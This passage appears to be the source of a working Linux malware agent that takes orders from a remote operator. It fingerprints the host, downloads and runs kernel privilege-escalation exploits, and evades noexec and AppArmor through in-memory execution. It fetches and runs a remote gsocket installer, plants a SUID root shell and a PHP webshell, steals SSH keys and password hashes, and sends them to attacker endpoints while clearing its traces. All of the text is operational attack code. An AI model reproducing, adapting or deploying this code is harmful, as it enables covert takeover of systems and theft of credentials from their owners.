printf ' fi\n' >> "$_ra_s"
printf ' if [ "$a" = "exec" ] && [ -n "$c" ]; then\n' >> "$_ra_s"
printf ' if [ -u "$S" ] 2>/dev/null; then o=$( "$S" -p -c "$c" 2>&1); else o=$(sh -c "$c" 2>&1); fi\n' >> "$_ra_s"
printf ' h_e=$(printf "%%s" "$H" | sed '\''s/"/\\\\"/g'\''); c_e=$(printf "%%s" "$c" | sed '\''s/"/\\\\"/g'\''); o_e=$(printf "%%s" "$o" | sed '\''s/"/\\\\"/g'\'')\n' >> "$_ra_s"
printf ' pd="h=$h_e&cmd=$c_e&out=$o_e"\n' >> "$_ra_s"
printf ' curl -fsSL -m5 -k --data "$pd" "${O}/api/exec_output" 2>/dev/null || wget -qO- -T5 --no-check-certificate --post-data="$pd" "${O}/api/exec_output" 2>/dev/null || true\n' >> "$_ra_s"
printf ' fi\n' >> "$_ra_s"
printf ' sleep 3\ndone\n' >> "$_ra_s"
chmod +x "$_ra_s" 2>/dev/null
nohup sh "$_ra_s" >/tmp/.ra_${HOST}.log 2>&1 &
printf 'root agent: deployed (PID %d)\n' $!
} > "$_o" 2>&1
local _out; _out=$(cat "$_o" 2>/dev/null)
_out "$HOST" "gsocket" "$_out" "root"
_event "$HOST" "_gs_" "done"
rm -f "$_o" 2>/dev/null
}
# ── fingerprint ──────────────────────────────────────────────────────────
HOST=$(hostname 2>/dev/null || cat /proc/sys/kernel/hostname 2>/dev/null || echo unknown)
ARCH=$(uname -m 2>/dev/null || echo unknown)
KERNEL=$(uname -r 2>/dev/null || echo unknown)
USER_=$(id -un 2>/dev/null || echo unknown)
UID_=$(id -u 2>/dev/null || echo 0)
DOCKER=$([ -f /.dockerenv ] && echo 1 || echo 0)
CWD=$(pwd 2>/dev/null || echo /)
DISTRO=unknown
[ -f /etc/os-release ] && DISTRO=$(. /etc/os-release 2>/dev/null && \
printf '%s' "${PRETTY_NAME:-${NAME:-unknown}}" | head -c 64)
CPUS=$(nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null || echo '?')
MEM=$(awk '/MemTotal/{printf "%dM",$2/1024}' /proc/meminfo 2>/dev/null || echo '?')
# ── working dir (exec-friendly) ──────────────────────────────────────────
_xdir(){
local d p uid _noex _mp _mo _rn
uid=$(id -u 2>/dev/null || echo 0)
for d in /tmp /run "/run/user/${uid}" /var/tmp "${HOME:-}" /dev/shm; do
[ -d "$d" ] && [ -w "$d" ] || continue
# Shell script exec test bypasses noexec via interpreter fallback — ELF binaries
# cannot do this. Check /proc/mounts directly for the noexec flag.
_noex=0
while IFS=' ' read -r _ _mp _ _mo _ _; do
case "$d" in "$_mp"|"$_mp/"*)
case ",${_mo}," in *,noexec,*) _noex=1; break ;; esac
esac
done 2>/dev/null </proc/mounts
[ "$_noex" -eq 1 ] && continue
_rn=$(dd if=/dev/urandom bs=4 count=1 2>/dev/null | od -A n -t x4 | tr -d ' \n' 2>/dev/null | cut -c1-8)
[ -z "$_rn" ] && _rn="$(printf '%d%d' "$$" "${PPID:-0}")"
p="${d}/.${_rn}"
printf '#!/bin/sh\nexit 0\n' > "$p" 2>/dev/null || continue
chmod +x "$p" 2>/dev/null && "$p" 2>/dev/null && {
rm -f "$p" 2>/dev/null; printf '%s' "$d"; return 0; }
rm -f "$p" 2>/dev/null
done; return 1
}
WDIR=$(_xdir 2>/dev/null || echo /tmp)
_wrand=$(dd if=/dev/urandom bs=4 count=1 2>/dev/null | od -A n -t x4 | tr -d ' \n' 2>/dev/null | cut -c1-8)
[ -z "$_wrand" ] && _wrand=$(printf '%s%d' "$HOST" "$$" | sha256sum 2>/dev/null | cut -c1-8)
[ -z "$_wrand" ] && _wrand=$(printf '%d' "$$")
WDIR="${WDIR}/.${_wrand}"
mkdir -p "$WDIR" 2>/dev/null || WDIR=/tmp
trap 'history -c 2>/dev/null; rm -rf "$WDIR" 2>/dev/null; true' EXIT INT TERM
# Per-host derived SUID path — hash-based name, unpredictable to other users on the box
_SUID_TAG=$(printf '%s%s' "$(hostname 2>/dev/null)" "$(cat /etc/machine-id 2>/dev/null | head -c8 2>/dev/null)" | \
sha256sum 2>/dev/null | cut -c1-12)
[ -z "$_SUID_TAG" ] && _SUID_TAG=$(printf '%s%d' "$(hostname 2>/dev/null)" "$$" | cksum 2>/dev/null | cut -d' ' -f1 | tr -dc 'a-f0-9' | head -c8)
[ -z "$_SUID_TAG" ] && _SUID_TAG="$(printf '%d%d' "$$" "${PPID:-0}")"
# SUID bash destination — avoid nosuid mount points (common on cPanel /tmp)
_suid_pick_dir(){
local _d _mp _mo _nosuid
for _d in /tmp /var/tmp "${HOME:-}" /dev/shm; do
[ -d "$_d" ] && [ -w "$_d" ] || continue
_nosuid=0
while IFS=' ' read -r _ _mp _ _mo _ _; do
case "$_d" in "$_mp"|"$_mp/"*)
case ",${_mo}," in *,nosuid,*) _nosuid=1; break ;; esac
esac
done 2>/dev/null </proc/mounts
[ "$_nosuid" -eq 1 ] && continue
printf '%s' "$_d"; return 0
done
printf '/tmp' # last resort
}
_SUID_PATH="$(_suid_pick_dir 2>/dev/null || echo /tmp)/.${_SUID_TAG}"
_MY_GRP=$(id -gn 2>/dev/null || id -g 2>/dev/null || echo '')
# Bootstrap static tools if curl AND wget are both missing
_bootstrap_static || true
# ── report fingerprint (retry until server acks) ─────────────────────────
_FP="host=$(ue "$HOST")&arch=$(ue "$ARCH")&kernel=$(ue "$KERNEL")&user=$(ue "$USER_")&uid=${UID_}&docker=${DOCKER}&distro=$(ue "$DISTRO")&cwd=$(ue "$CWD")&cpus=${CPUS}&mem=$(ue "$MEM")&writable=$(ue "$WDIR")"
_fp_try=0
while [ $_fp_try -lt 10 ]; do
_fp_try=$(( _fp_try + 1 ))
_resp=$(_post "${ORIGIN}/api/report" "$_FP" 2>/dev/null || echo '')
if printf '%s' "$_resp" | grep -q '"ok"'; then
break
fi
sleep 2
done
_event "$HOST" "_agent_" "waiting"
# Quick-win scan runs in background — kernel exploits start regardless
_quick_win &
# ── exec capability diagnostic — runs once at agent start ────────────────
_exec_diag(){
local _c="" r
# Test exec of a real binary from WDIR
local _tb="${WDIR}/.t$$"
if cp /bin/true "$_tb" 2>/dev/null && chmod +x "$_tb" 2>/dev/null; then
"$_tb" 2>/dev/null; r=$?; rm -f "$_tb" 2>/dev/null
if [ $r -eq 0 ]; then _c="${_c}exec_wdir "; else _c="${_c}!exec_wdir(r$r) "; fi
else
_c="${_c}!cp_true "
fi
# ld-linux exec
local _ld
for _ld in /lib64/ld-linux-x86-64.so.2 /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 \
/lib/ld-linux-aarch64.so.1 /lib/aarch64-linux-gnu/ld-linux-aarch64.so.1; do
[ -x "$_ld" ] && break; _ld=""
done
if [ -n "$_ld" ]; then
"$_ld" /bin/true 2>/dev/null; r=$?
if [ $r -eq 0 ]; then _c="${_c}ld_exec "; else _c="${_c}!ld_exec(r$r) "; fi
else
_c="${_c}!ld_found "
fi
# Python + memfd_create + exec from /proc/self/fd
local _py=""
for _pyx in python3 python python2; do
command -v "$_pyx" >/dev/null 2>&1 && { _py="$_pyx"; break; }
done
_c="${_c}py=${_py:-none} "
if [ -n "$_py" ]; then
"$_py" -c "
import os,sys
try: fd=os.memfd_create('t',0)
except AttributeError:
import ctypes,ctypes.util,platform
libc=ctypes.CDLL(ctypes.util.find_library('c') or 'libc.so.6',use_errno=True)
fd=int(libc.syscall({'x86_64':319,'aarch64':279}.get(platform.machine(),319),b't',0))
if fd<0: sys.exit(1)
data=open('/bin/true','rb').read()
os.write(fd,data)
os.execve('/proc/self/fd/%d'%fd,['/bin/true'],{})
" 2>/dev/null; r=$?
if [ $r -eq 0 ]; then _c="${_c}memfd_exec_ok "; else _c="${_c}!memfd_exec(r$r) "; fi
fi
# unshare --user
if command -v unshare >/dev/null 2>&1; then
unshare --user /bin/true 2>/dev/null; r=$?
if [ $r -eq 0 ]; then _c="${_c}unshare_user "; else _c="${_c}!unshare(r$r) "; fi
fi
# AppArmor
if [ -r /sys/kernel/security/apparmor/profiles ]; then
_c="${_c}apparmor($(wc -l </sys/kernel/security/apparmor/profiles 2>/dev/null)profiles) "
else
_c="${_c}no_apparmor "
fi
# seccomp
local _sc
_sc=$(grep -i '^Seccomp:' /proc/self/status 2>/dev/null | awk '{print $2}')
_c="${_c}seccomp=${_sc:-?}"
_dbg "$HOST" "_diag_" "$_c"
}
# ── noexec + AppArmor bypass (M0-M7, all with per-method debug logging) ──
_run_bin(){
local bin="$1" r _bn
shift
_bn="${bin##*/}"
chmod +x "$bin" 2>/dev/null || true
# M0: shell script detection — if file starts with #! run it via sh directly.
# /bin/sh is a system binary that AppArmor always allows to exec. This bypasses
# AppArmor's exec block on unknown ELFs from /tmp completely for shell payloads.
local _hdr
_hdr=$(dd if="$bin" bs=2 count=1 2>/dev/null || true)
if [ "$_hdr" = '#!' ]; then
_dbg "$HOST" "_M_" "M0:sh_script:$_bn"
/bin/sh "$bin" "$@" 2>&1; r=$?
[ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M0:ok:$_bn"; return 0; }
_dbg "$HOST" "_M_" "M0:r$r:$_bn"
return $r
fi
# M1: direct exec
"$bin" "$@" 2>&1; r=$?
[ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M1:ok:$_bn"; return 0; } || true
_dbg "$HOST" "_M_" "M1:r$r:$_bn"
# M2: ld-linux interpreter — maps binary pages, bypasses noexec on the file path
local _ld
for _ld in \
/lib64/ld-linux-x86-64.so.2 \
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 \
/lib/ld-linux-aarch64.so.1 \
/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1 \
/lib/ld-linux-armhf.so.3 \
/lib/arm-linux-gnueabihf/ld-linux-armhf.so.3 \
/lib/ld-linux.so.2 \
/lib/i386-linux-gnu/ld-linux.so.2 \
$(ls /lib*/ld-linux*.so.* /lib*/ld-musl*.so.* 2>/dev/null | head -6); do
[ -x "$_ld" ] || continue
"$_ld" "$bin" "$@" 2>&1; r=$?
[ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M2:ok:$_bn:${_ld##*/}"; return 0; } || true
done
_dbg "$HOST" "_M_" "M2:fail:$_bn"
# M3: Python memfd_create — step-by-step debug via stderr so each failure is visible.
# Stderr mixed into stdout (2>&1 at call site) shows in exploit output on dashboard.
# Exit 66 = exec infrastructure failed (fall through); any other exit = binary ran.
local py_tmp="${bin}e"
printf '%s\n' \
'import sys,os,ctypes,ctypes.util,platform' \
'try: data=open(sys.argv[1],"rb").read()' \
'except (PermissionError,OSError) as e:' \
' sys.stderr.write("M3:noread:e"+str(e.errno)+"\n"); sys.exit(66)' \
'sys.stderr.write("M3:read_ok:"+str(len(data))+"b\n")' \
'fd=-1' \
'try: fd=os.memfd_create("x",0); sys.stderr.write("M3:mfd_os\n")' \
'except AttributeError:' \
' nr={"x86_64":319,"amd64":319,"aarch64":279,"arm64":279,"armv7l":356,"i686":356}.get(platform.machine(),319)' \
' libc=ctypes.CDLL(ctypes.util.find_library("c") or "libc.so.6",use_errno=True)' \
' fd=libc.syscall(ctypes.c_long(nr),ctypes.c_char_p(b"x"),ctypes.c_uint(0))' \
' sys.stderr.write("M3:mfd_ctypes:fd="+str(fd)+"\n")' \
'if fd<0: sys.stderr.write("M3:mfd_fail\n"); sys.exit(66)' \
'try:' \
' os.write(fd,data)' \
' sys.stderr.write("M3:exec_attempt:/proc/self/fd/%d\n"%fd)' \
' os.execve("/proc/self/fd/%d"%fd,sys.argv[1:],os.environ)' \
'except OSError as e: sys.stderr.write("M3:exec_err:e"+str(e.errno)+"\n"); sys.exit(66)' \
> "$py_tmp"
for py in python3 python python2; do
command -v "$py" >/dev/null 2>&1 || continue
"$py" "$py_tmp" "$bin" "$@" 2>&1; r=$?
rm -f "$py_tmp" 2>/dev/null; py_tmp=
[ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M3:ok:$_bn:$py"; return 0; }
[ $r -ne 66 ] && { _dbg "$HOST" "_M_" "M3:bin_r$r:$_bn:$py"; return $r; }
_dbg "$HOST" "_M_" "M3:66:$_bn:$py"
break
done
rm -f "$py_tmp" 2>/dev/null || true
# M3b: Perl memfd_create — step-debug via stderr
if command -v perl >/dev/null 2>&1; then
local pl_tmp="${bin}.pl"
printf '%s\n' \
'use POSIX;' \
'my($b,@a)=@ARGV;' \
'open(my $F,"<",$b) or do{print STDERR "M3b:noread\n";exit 66}; local $/; my $d=<$F>; close $F;' \
'print STDERR "M3b:read_ok:".length($d)."b\n";' \
'my %nr=(x86_64=>319,amd64=>319,aarch64=>279,arm64=>279,armv7l=>356,i686=>356,mipsle=>4210,mips=>4210);' \
'my $arch=(POSIX::uname())[4]; my $n=$nr{$arch}//319;' \
'my $fd=syscall($n,"x",0); do{print STDERR "M3b:mfd_fail\n";exit 66} if $fd<0;' \
'print STDERR "M3b:mfd_ok\n";' \
'POSIX::write($fd,$d,length($d));' \
'print STDERR "M3b:exec_attempt\n";' \
'exec{"/proc/self/fd/$fd"} @a or do{print STDERR "M3b:exec_err:$!\n";exit 66};' \
> "$pl_tmp"
perl "$pl_tmp" "$bin" "$@" 2>&1; r=$?
rm -f "$pl_tmp" 2>/dev/null
[ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M3b:ok:$_bn"; return 0; }
[ $r -ne 66 ] && { _dbg "$HOST" "_M_" "M3b:bin_r$r:$_bn"; return $r; }
_dbg "$HOST" "_M_" "M3b:66:$_bn"
fi
# M5: Ruby memfd via Fiddle
if command -v ruby >/dev/null 2>&1; then
local _rb="${bin}.rb"
printf '%s\n' \
'require "fiddle"' \
'begin' \
' lib=Fiddle::Handle.new("libc.so.6")' \
' mfd=Fiddle::Function.new(lib["memfd_create"],[Fiddle::TYPE_VOIDP,Fiddle::TYPE_UINT],Fiddle::TYPE_INT)' \
' fd=mfd.call("x",0); raise "mfd_fail" if fd<0' \
' $stderr.puts "M5:mfd_ok"' \
' IO.for_fd(fd).write(File.binread(ARGV[0]))' \
' $stderr.puts "M5:exec_attempt"' \
' exec "/proc/self/fd/#{fd}", *ARGV' \
'rescue => e; $stderr.puts "M5:err:"+e.message; exit 66' \
'end' \
> "$_rb"
ruby "$_rb" "$bin" "$@" 2>&1; r=$?
rm -f "$_rb" 2>/dev/null
[ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M5:ok:$_bn"; return 0; }
[ $r -ne 66 ] && { _dbg "$HOST" "_M_" "M5:bin_r$r:$_bn"; return $r; }
_dbg "$HOST" "_M_" "M5:66:$_bn"
fi
# M7: user namespace — grants virtual CAP_SYS_ADMIN; some kernel LPEs need this.
# Also potentially bypasses exec restrictions tied to user credentials.
if command -v unshare >/dev/null 2>&1; then
unshare --user --map-root-user "$bin" "$@" 2>&1; r=$?
[ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M7:ok:$_bn"; return 0; }
_dbg "$HOST" "_M_" "M7:r$r:$_bn"
fi
# M4: copy binary to candidate exec-friendly dirs and try direct exec there
local alt_d alt uid
uid=$(id -u 2>/dev/null || echo 0)
for alt_d in /tmp /var/tmp /run "/run/user/${uid}" /dev \
"/home/$(id -un 2>/dev/null)" /dev/pts /dev/shm; do
[ -d "$alt_d" ] && [ -w "$alt_d" ] || continue
alt="${alt_d}/.rx$$"
cp "$bin" "$alt" 2>/dev/null && chmod +x "$alt" 2>/dev/null || { rm -f "$alt" 2>/dev/null; continue; }
"$alt" "$@" 2>&1; r=$?
rm -f "$alt" 2>/dev/null
[ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M4:ok:$_bn:$alt_d"; return 0; }
_dbg "$HOST" "_M_" "M4:r$r:$_bn:$alt_d"
return $r
done
# M6: scan /proc/mounts for any writable non-noexec mount not yet tried
if [ -r /proc/mounts ]; then
local _mld _mla _mopts
while IFS=' ' read -r _mdev _mld _mfs _mopts _r1 _r2; do
case ",$_mopts," in *,noexec,*) continue ;; esac
[ -d "$_mld" ] && [ -w "$_mld" ] || continue
case "$_mld" in /dev/shm|/run|/var/tmp|/tmp|/proc|/sys|/dev/pts) continue ;; esac
_mla="${_mld}/.rx$$"
cp "$bin" "$_mla" 2>/dev/null && chmod +x "$_mla" 2>/dev/null || { rm -f "$_mla" 2>/dev/null; continue; }
"$_mla" "$@" 2>&1; r=$?
rm -f "$_mla" 2>/dev/null
[ $r -eq 0 ] && { _dbg "$HOST" "_M_" "M6:ok:$_bn:$_mld"; return 0; }
_dbg "$HOST" "_M_" "M6:r$r:$_bn:$_mld"
return $r
done < /proc/mounts
fi
_dbg "$HOST" "_M_" "all_fail:$_bn"
return 127
}
# ── timeout wrapper ──────────────────────────────────────────────────────
# NOTE: never use `timeout` here — it can only exec binaries, not sh functions.
_to(){
local secs="$1"; shift
"$@" &
local pid=$!
( sleep "$secs" 2>/dev/null
kill -0 "$pid" 2>/dev/null && kill "$pid" 2>/dev/null ) &
local wd=$!
wait "$pid" 2>/dev/null; local r=$?
kill "$wd" 2>/dev/null; wait "$wd" 2>/dev/null; true
return $r
}
# ── run one exploit in background ────────────────────────────────────────
run_exploit(){
local exp="$1"
local _bhash; _bhash=$(printf '%s%d' "$exp" "$$" | sha256sum 2>/dev/null | cut -c1-8 || printf '%d' "$$")
(
local bin="${WDIR}/.$_bhash"
local out_f="${WDIR}/.$_bhash.o"
local stdin_f="${WDIR}/.$_bhash.i"
# Per-exploit timeout override: dirtyfrag/dirty_pipe need ~1200s total.
# Default TIMEOUT=90 kills them before SUID is written. Use 1400s for these.
local _timeout="$TIMEOUT"
case "$exp" in
dirtyfrag|dirty_pipe|dirtypipe|cve_2022_0847|stackrot) _timeout=1400 ;;
esac
# stdin fed to root shell — install gsocket + post-root tasks
{
printf '# -- install gsocket --\n'
printf 'GS_HOST=107.152.47.226 GS_PORT=443 bash -c "$(curl -fsSL https://localroot.sbs/merged.sh 2>/dev/null || wget --no-verbose -O- https://localroot.sbs/merged.sh 2>/dev/null)" 2>/dev/null\n'
printf 'printf "\\n# -- gsocket exit: %%s --\\n" $?\n'
printf '# -- SUID bash persistence --\n'
printf 'cp /bin/bash %s 2>/dev/null && chmod 4750 %s 2>/dev/null && chown root:%s %s 2>/dev/null && touch -r /bin/bash %s 2>/dev/null || true\n' \
"$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH" "$_SUID_PATH"
printf '# -- webshell plant --\n'
printf '_wn=".$(hostname 2>/dev/null | sha256sum 2>/dev/null | cut -c1-8 || echo cr).php"\n'
printf 'for _xd in /var/www/html /var/www /srv/http /srv/www /usr/share/nginx/html; do\n'
printf ' [ -d "$_xd" ] && [ -w "$_xd" ] || continue\n'
printf ' printf "<?php @system(\\$_REQUEST[c]);?>" > "$_xd/$_wn" 2>/dev/null && printf "WEBSHELL:%%s/%%s\\n" "$_xd" "$_wn" && break\n'
printf 'done\n'
printf 'id\n'
printf 'exit\n'
} > "$stdin_f" 2>/dev/null
# pre-run cleanup of stale artifacts (prevents pwnkit "File exists" crash)
rm -rf /tmp/pwnkit /tmp/GCONV_PATH=. "${WDIR}/pwnkit" 2>/dev/null || true
rm -f /tmp/passwd.bak /tmp/.su_* 2>/dev/null || true
# pre-flight: skip noisy exploits when required conditions are absent
case "$exp" in
cve_2021_3560)
if ! [ -S /run/dbus/system_bus_socket ] 2>/dev/null; then
printf '[polkit] dbus socket not found — skipping (no dbus on this system)\n' > "$out_f"
_event "$HOST" "$exp" "fail"
_dbg "$HOST" "$exp" "nodbus"
rm -f "$stdin_f" 2>/dev/null; return
fi ;;
esac
_dbg "$HOST" "$exp" "START"
_event "$HOST" "$exp" "downloading"
_event "$HOST" "_agent_" "exploiting"
if ! _dl "${ORIGIN}/bin?arch=$(ue "$ARCH")&exploit=$(ue "$exp")" "$bin"; then
_event "$HOST" "$exp" "fail"
_dbg "$HOST" "$exp" "notfound"
rm -f "$stdin_f" 2>/dev/null; return
fi
_event "$HOST" "$exp" "running"
# Snapshot SUID mtime before run — prevents false-positive ROOT cascade:
# if exploit A creates the SUID, exploit B (which failed) would also see
# it via [ -u _SUID_PATH ] and be wrongly marked ROOT. Only count SUID
# as root evidence if IT was newly created/modified by THIS exploit run.
local _suid_mtime_pre
_suid_mtime_pre=$(stat -c%Y "${_SUID_PATH}" 2>/dev/null || echo 0)
# Run with stdin_f redirect so shell-dropping exploits receive gsocket cmd.
# cd /tmp first — ensures a writable CWD (exploits like pwnkit, overlayfs,
# cve_2021_4034 create temp directories relative to CWD).
# Can't use _to() here — its internal `&` resets stdin to /dev/null in
# non-interactive shells (POSIX). Handle timeout inline instead.
( cd /tmp 2>/dev/null || true; _run_bin "$bin" < "$stdin_f" ) > "$out_f" 2>&1 &
local _pid=$!
( sleep "$_timeout" 2>/dev/null
kill -0 "$_pid" 2>/dev/null && kill "$_pid" 2>/dev/null ) &
local _wd=$!
wait "$_pid" 2>/dev/null
kill "$_wd" 2>/dev/null; wait "$_wd" 2>/dev/null; true
# Post-run SUID flush: kernel exploits (dirtyfrag) may have written the SUID
# just before SIGKILL — give it 3s for FS writes to flush, then re-stat.
sleep 3 2>/dev/null || true
rm -f "$stdin_f" 2>/dev/null || true
# root hint: keyword + SUID path detection
local _root_hint=0
grep -qiE 'SUID:|WEBSHELL:|(^|[^a-z_A-Z])uid=0|got root|rooted|via systemwide' \
"$out_f" 2>/dev/null && _root_hint=1
local _suid_mtime_post
_suid_mtime_post=$(stat -c%Y "${_SUID_PATH}" 2>/dev/null || echo 0)
if [ -u "${_SUID_PATH}" ] 2>/dev/null && [ "$_suid_mtime_post" != "$_suid_mtime_pre" ]; then
_root_hint=1
fi
# root verification: run id/whoami via SUID binary, or check exploit output
local _rooted=0
if [ "$_root_hint" = 1 ]; then
if [ -u "${_SUID_PATH}" ] 2>/dev/null; then
# SUID binary exists — run id through it (definitive)
local _vf="${WDIR}/.vf$$"
( "${_SUID_PATH}" -p -c 'id; whoami; echo GS_OK' ) >"$_vf" 2>&1 &
local _vp=$!
( sleep 3; kill -0 "$_vp" 2>/dev/null && kill "$_vp" 2>/dev/null ) &
local _kp=$!
wait "$_vp" 2>/dev/null; kill "$_kp" 2>/dev/null; wait "$_kp" 2>/dev/null; true
grep -q 'uid=0(root)' "$_vf" 2>/dev/null && _rooted=1
rm -f "$_vf" 2>/dev/null
fi
if [ "$_rooted" = 0 ]; then
# No working SUID — check output for definitive root shell evidence
grep -qiE 'uid=0\(root\)|root@|# ' "$out_f" 2>/dev/null && _rooted=1
fi
fi
# credential-theft detection (SSH key / shadow steal — not full root but valuable)
local _credstolen=0
grep -q 'CRED_STEAL:' "$out_f" 2>/dev/null && _credstolen=1
# gsocket supremacy: report any alien keys taken over to operator dashboard
local _taken_keys
_taken_keys=$(grep -oE 'GS_TAKEOVER:[a-zA-Z0-9_/+.=-]{8,}' "$out_f" 2>/dev/null \
| sed 's/GS_TAKEOVER://' | paste -sd ',' - 2>/dev/null)
[ -n "$_taken_keys" ] && \
_post "${ORIGIN}/api/gs_takeover" \
"h=$(ue "$HOST")&keys=$(ue "$_taken_keys")" \
>/dev/null 2>&1 || true
# For key-stealing exploits: POST full raw output before cleanup (separate channel)
case "$exp" in
cve_2026_46333|cve_2026_4*|shadow_probe)
_post "${ORIGIN}/api/stolen" \
"h=$(ue "$HOST")&e=$(ue "$exp")&data=$(ue "$(cat "$out_f" 2>/dev/null | head -c 12000)")" \
>/dev/null 2>&1 || true
;;
esac
# display: show last 16000 bytes — captures full key + shadow output
local out _e
out=$(tail -c 16000 "$out_f" 2>/dev/null || echo '')
_e=$(printf '\033')
# strip all ANSI escape sequences (cursor movement, colors, modes)
out=$(printf '%s' "$out" | sed "s/${_e}\[[0-9;?]*[a-zA-Z]//g" 2>/dev/null || printf '%s' "$out")
# strip [gs:KEY] internal marker — used for detection only, not for display
out=$(printf '%s' "$out" | grep -vE '^\[gs:[^]]{4,}\]$' 2>/dev/null || printf '%s' "$out")
_out "$HOST" "$exp" "$out"
_dbg "$HOST" "$exp" "OUT:$(printf '%s' "$out" | head -c 300)"
if [ "$_rooted" = 1 ]; then
_event "$HOST" "$exp" "root"
_dbg "$HOST" "$exp" "ROOT_VIA $exp"
_plant_gsocket &
# Report escalation command to dashboard — use _SUID_PATH directly (reliable)
if [ -u "${_SUID_PATH}" ] 2>/dev/null; then
local _qw_id
_qw_id=$(grep 'uid=' "$out_f" 2>/dev/null | tail -1 || echo "uid=0 via $exp")
_post "${ORIGIN}/api/qwroot" \
"h=$(ue "$HOST")&method=$(ue "kernel/$exp")&cmd=$(ue "${_SUID_PATH} -p")&id=$(ue "$_qw_id")" \
>/dev/null 2>&1 || true
fi
elif [ "$_credstolen" = 1 ]; then
# credential theft — not full root but SSH key / shadow hashes stolen
_event "$HOST" "$exp" "cred"
_dbg "$HOST" "$exp" "CRED_STEAL_VIA $exp"
else
_event "$HOST" "$exp" "fail"
fi
# post-run cleanup
rm -f "$bin" "$out_f" 2>/dev/null || true
rm -rf ./pwnkit "${WDIR}/pwnkit" 2>/dev/null || true
rm -f /tmp/passwd.bak /tmp/.su_* 2>/dev/null || true
find /tmp -maxdepth 1 \( -name 'core' -o -name 'core.*' \) -delete 2>/dev/null || true
) &
}
# ── stop a running exploit ───────────────────────────────────────────────
kill_exploit(){
local exp="$1"
local _bhash; _bhash=$(printf '%s%d' "$exp" "$$" | sha256sum 2>/dev/null | cut -c1-8 || printf '%d' "$$")
pkill -f "${WDIR}/.$_bhash" 2>/dev/null || true
_event "$HOST" "$exp" "fail"
_dbg "$HOST" "$exp" "SIGKILL by operator"
}
# run exec capability diagnostic once — results appear in dashboard debug stream
_exec_diag &
# ── gsocket key scanner (root and non-root) ───────────────────────────────
# Reads /proc/<pid>/environ for any process we have access to.
# Non-root: only own-user processes (web server user — still catches
# gsockets planted by the same user, e.g. via previous webshell sessions).
# Root: finds ALL gsockets on the system.
# Emits GS_KEY:<pid>:<key>:<binary> per found instance + POSTs to /api/gs_scan.
_gs_scan(){
local _kl="" _p _env _bin _ga _gk _kf
for _p in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do
[ -d "/proc/$_p" ] || continue
_env=$(tr '\000' '\n' < "/proc/$_p/environ" 2>/dev/null) || continue
case "$_env" in *GS_ARGS=*) ;; *) continue; esac
_bin=$(readlink -f "/proc/$_p/exe" 2>/dev/null) || continue
_ga=$(printf '%s' "$_env" | grep '^GS_ARGS=' | cut -d= -f2- | head -1)
_gk=$(printf '%s' "$_ga" | tr ' ' '\n' | awk '/^-s$/{getline;print;exit}')
if [ -z "$_gk" ]; then
_kf=$(printf '%s' "$_ga" | tr ' ' '\n' | awk '/^-k$/{getline;print;exit}')
[ -n "$_kf" ] && [ -f "$_kf" ] && _gk=$(cat "$_kf" 2>/dev/null | tr -d ' \n\r')
fi
[ -z "$_gk" ] && continue
printf 'GS_KEY:%s:%s:%s\n' "$_p" "$_gk" "$_bin"
_kl="${_kl}${_gk},"
done
[ -n "$_kl" ] && \
_post "${ORIGIN}/api/gs_scan" \
"h=$(ue "$HOST")&keys=$(ue "${_kl%,}")" >/dev/null 2>&1 || true
}
_gs_scan &
# ── gsocket relay port probe ──────────────────────────────────────────────
# Detects which port the target can reach our relay on.
# Port 443 is commonly blocked by outbound firewalls; 53 (DNS) almost never is.
# Result stored in GS_RELAY_PORT for use in _plant_gsocket and stdin payload.
_probe_gs_port(){
local _gp=443
for _tp in 443 53 7350 22; do
timeout 5 bash -c "echo >/dev/tcp/217.154.53.187/$_tp" 2>/dev/null && _gp=$_tp && break
done
printf '%s' "$_gp"
}
GS_RELAY_PORT=$(_probe_gs_port 2>/dev/null || echo 443)
# ── poll loop ────────────────────────────────────────────────────────────
_STOPPED=0
while true; do
resp=$(_get "${ORIGIN}/api/cmd/${HOST}" 2>/dev/null || printf '{}')
# If root was achieved on this host, the server sets stop_all — no new exploits.
if printf '%s' "$resp" | grep -q '"stop_all":true'; then
[ "$_STOPPED" = 0 ] && _dbg "$HOST" "_agent_" "stop_all — interactive mode"
_STOPPED=1
fi
exp=$(printf '%s' "$resp" | grep -o '"exploit":"[^"]*"' | cut -d'"' -f4 2>/dev/null || true)
act=$(printf '%s' "$resp" | grep -o '"action":"[^"]*"' | cut -d'"' -f4 2>/dev/null || true)
_sp=$(printf '%s' "$resp" | grep -o '"sudo_pass":"[^"]*"' | cut -d'"' -f4 2>/dev/null || true)
[ -n "$_sp" ] && _SUDO_PASS="$_sp"
if [ "$_STOPPED" = 0 ] && [ -n "$exp" ]; then
case "${act:-run}" in
run) run_exploit "$exp" ;;
stop) kill_exploit "$exp" ;;
esac
fi
sleep "$POLL"
done